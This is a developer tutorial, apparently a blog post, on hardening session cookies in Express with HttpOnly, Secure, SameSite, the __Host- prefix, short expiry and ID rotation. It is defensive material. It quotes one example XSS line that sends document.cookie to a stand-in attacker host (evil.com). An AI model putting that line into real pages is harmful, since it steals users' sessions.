Skip to main content
Cover illustration with padlock and Secure Session Cookies text

How to Secure Session Cookies: Practical Guide

A session cookie is the key to your app’s house. Whoever holds it is treated as logged in — no password needed.

The problem is, most frameworks ship with loose defaults. Cookies JavaScript can read, sent over plain HTTP, attached to every cross-site request. That’s three open doors for anyone who wants your users’ sessions.

Here’s how I lock them down, one by one.

Know What You’re Up Against

Quick tour of how sessions actually get stolen, so each setting below makes sense:

  1. XSS: someone sneaks a script into your page. It reads document.cookie and sends the session off to the attacker’s server.
  2. CSRF: your user visits a malicious site, and that site triggers a request to yours. The browser helpfully attaches the session cookie, and something like a transfer or delete goes through without the user knowing.
  3. Sniffing: the cookie travels over plain HTTP on a public network, and someone in the middle just reads it. Coffee shop WiFi is the classic example.
  4. Session fixation: the attacker plants a session ID in the victim’s browser before login, then reuses that same ID once the victim logs in.

1. HttpOnly: Hide It From JavaScript

If I could only pick one attribute, it’d be this. Without HttpOnly, a single XSS hole is game over — the injected script just does this:

// malicious XSS payload — just this one line
fetch('https://evil.com/steal?c=' + document.cookie);

Setting HttpOnly takes document.cookie out of the picture completely. The cookie still travels over HTTP headers between browser and server, but no script on the page can read it.

// Express
res.cookie('sessionId', sessionId, {
  httpOnly: true, // do this always, no exceptions
});

On the wire it looks like this:

Set-Cookie: sessionId=abc123; HttpOnly

One honest caveat: this doesn’t make XSS harmless. An attacker can still ride the victim’s browser and fire off requests as them. It just means they can’t copy the raw token out. You still want CSP and output sanitizing to stop the injection in the first place.

2. Secure: HTTPS Only

Without Secure, the browser will happily send your session cookie over plain http://. On a public network, anyone listening in the middle gets it for free.

res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true, // only sent over HTTPS
});
Set-Cookie: sessionId=abc123; HttpOnly; Secure

In production this should always be on — session cookies have no business traveling over HTTP. For local dev, http://localhost counts as a secure context in modern browsers, so secure: true still works. If your setup complains, gate it on the environment:

secure: process.env.NODE_ENV === 'production',

3. SameSite: Your Main CSRF Defense

SameSite decides whether the browser attaches the cookie to cross-site requests. Get this right and most CSRF attacks die on arrival.

Value What happens Good for
Lax Sent when clicking a link to your site, blocked on cross-site fetch/POST Most apps — start here
Strict Never leaves your own site Sensitive dashboards, admin panels
None Always sent, but the browser demands Secure too Embeds and widgets that genuinely need cross-site cookies (OAuth callbacks, iframes)

For a session cookie, Lax is the sane starting point:

res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax', // or 'strict' for sensitive areas
});

Two things I’ve seen trip people up: SameSite=None without Secure gets silently rejected by modern browsers. And if your API is called from another domain with fetch(..., { credentials: 'include' }), you’ll need SameSite=None; Secure plus a tight CORS setup (exact origin, never *). I covered the CORS half in the CORS fix guide.

One more thing: for genuinely sensitive actions — moving money, changing the account email — still use a CSRF token on top. SameSite is the seatbelt; the token is the airbag.

4. Path, Domain, and the __Host- Prefix

The idea is simple: don’t let the cookie wander anywhere it doesn’t need to go.

res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',      // leave this alone for a single-domain SPA
  domain: undefined, // don't set this unless you really need subdomain sharing
});
  • Domain: skip it and the cookie sticks to the exact host that set it. The moment you write Domain=example.com, it rides along to every subdomain — blog.example.com, staging.example.com, all of them, including ones you might not fully control. Only set it when you’re deliberately doing SSO across subdomains.
  • __Host- prefix: want the browser to enforce good config for you? Name the cookie __Host-sessionId. Browsers flat-out refuse it unless it comes with Secure, Path=/, and no Domain at all. A naming trick that makes three misconfigurations impossible:
Set-Cookie: __Host-sessionId=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

5. Short Expiry + Sliding Sessions

A session that never expires is a stolen token that never stops working. Put a clock on it:

res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 1000 * 60 * 30, // 30-minute idle timeout
});

What works well in practice:

  • Idle timeout of 15–30 minutes, extended on each request (sliding). Active users never notice; abandoned sessions die quickly on their own.
  • Hard cap of 8–12 hours no matter what. After that, log in again. This bounds how long a stolen token stays useful.
  • Ask for the password again on scary actions. Email change, payout, account deletion — a living session alone shouldn’t be enough.

Also: keep the actual session data on your server (Redis, database, whatever you use). The cookie should carry nothing but a random ID. Stuffing the session into the cookie as a JWT means a thief walks away with every claim inside — and you can’t revoke it without maintaining a denylist.

6. Rotate the Session ID After Login

This one’s specifically about session fixation. Say an attacker slips sessionId=evil123 into the victim’s browser. The victim logs in. If your app keeps the same ID, the attacker just keeps using evil123 — now logged in as the victim.

The fix is boring but effective: throw the old session away at login and mint a fresh one.

// login handler pseudocode
app.post('/login', async (req, res) => {
  const user = await verifyCredentials(req.body);
  if (!user) return res.status(401).end();

  // 1. discard the old session (if any)
  await destroySession(req.cookies.sessionId);

  // 2. mint a fresh ID
  const freshId = await createSession(user.id);

  // 3. send it with strict attributes
  res.cookie('sessionId', freshId, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
    maxAge: 1000 * 60 * 30,
  });

  res.json({ ok: true });
});

Do the same when privileges go up (regular user becomes admin), and on logout destroy the session on the server too — clearing the cookie alone isn’t enough, since the old ID would still be valid:

app.post('/logout', async (req, res) => {
  await destroySession(req.cookies.sessionId);
  res.clearCookie('sessionId', { path: '/' });
  res.json({ ok: true });
});

7. Pre-Deploy Checklist

Here’s everything above condensed into the cookie itself:

res.cookie('__Host-sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 1000 * 60 * 30,
});

And the server-side habits to go with it:

  • Cookie carries nothing but a random ID (128-bit minimum from a CSPRNG); the data stays on your server.
  • Fresh ID on every login and every privilege bump.
  • Idle timeout of 15–30 min plus a hard cap around 12 hours.
  • Logout kills the session server-side, not just the cookie.
  • CSRF tokens on sensitive actions that change state.
  • Open DevTools → Application → Cookies and confirm the HttpOnly, Secure, and SameSite columns are all filled in.

Final Thoughts

No single attribute saves you — it’s the combination. HttpOnly keeps scripts from reading the token, Secure keeps it off the wire in plaintext, SameSite stops other sites from spending it, and short expiry plus rotation shrink the blast radius when something slips through.

If you take three things from this post: httpOnly, secure, sameSite: 'lax'. Those three lines block the large majority of session attacks I’ve seen in the wild. Everything after that is what turns a decent setup into one you don’t have to think about at 2 AM.

References